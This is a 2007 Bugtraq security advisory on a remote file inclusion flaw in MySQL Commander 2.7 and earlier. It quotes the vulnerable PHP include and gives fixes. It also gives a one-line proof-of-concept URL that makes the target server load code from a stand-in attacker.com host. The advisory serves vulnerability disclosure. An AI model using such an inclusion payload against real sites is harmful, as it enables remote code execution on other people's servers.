bugtraq - [ECHO_ADV_73$2007] MySQL Commander <= 2.7 (home) Remote File Inclusion Vulnerability

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Message-ID: <20070313170404.3649.qmail@securityfocus.com>
Date: 13 Mar 2007 17:04:04 -0000
From: erdc@...o.or.id
To: bugtraq@...urityfocus.com
Subject: [ECHO_ADV_73$2007] MySQL Commander <= 2.7 (home) Remote File
 Inclusion Vulnerability

-----------------------------------------------------------------------------------------
[ECHO_ADV_73$2007] MySQL Commander <= 2.7 (home) Remote File Inclusion Vulnerability
-----------------------------------------------------------------------------------------

Author         : M.Hasran Addahroni
Date           : March, 13th 2007
Location       : Australia, Sydney
Web            : http://advisories.echo.or.id/adv/adv73-K-159-2007.txt
Critical Lvl   : Dangerous
Impact	       : System access
Where	       : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application   : MySQL Commander 
version       : <= 2.7
Vendor        : http://www.bitesser.de/freeware/script.php?id=1
Description :

A small tool to backup and restore MySQL Tables. Features: backup/restore of binaries; parametric backup; multiserver; Gzipping; killing of backup files; german/english; Online help in popup.
This tool makes backups of all the tables in a database. The data will be stored in textfiles located in the "data"directory. You can backup and restore the "SQL create table command" and the "content". So you can easily make copies of your tables. (i.e. copy a hole database with a few clicks).
You will need PHP since version 4.1 and MySQL since Version 3.23

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~
- Invalid include function at ressourcen/dbopen.php :  
  	
----------------ressourcen/dbopen.php-------------------
<?php
include $home."ressourcen/class.systemObject.php";
include $home."ressourcen/class.DatabaseMysql.php";
$db = new DatabaseMysql($config->dbuser[$_SESSION['which_db']], $config->dbpass[$_SESSION['which_db']], $config->dbserver[$_SESSION['which_db']]);
$ok = $db->init();

if (!$ok and $db->error and (strlen($config->dbserver[1]) > 0)) {
	echo $db->getError();
}

?>
----------------------------------------------------------------


Variables $home is not properly sanitized.
When register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script.


Poc/Exploit:
~~~~~~~~~

http://www.target.com/[mysqlcommander_path]/ressourcen/dbopen.php?home=http://attacker.com/evil?


Solution:
~~~~~~

- Sanitize variable $home on affected file.
- Turn off register_globals

---------------------------------------------------------------------------

Shoutz:
~~~~
~ ping - my dearest wife, and my little son, for all the luv the tears n the breath
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative, str0ke (for the best comments)
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid, kuntua, stev_manado, nofry, x16
~ newbie_hacker@...oogroups.com
~ #aikmel #e-c-h-o @irc.dal.net

---------------------------------------------------------------------------
Contact:
~~~~~

     K-159 || echo|staff || eufrato[at]gmail[dot]com
     Homepage: http://k-159.echo.or.id/

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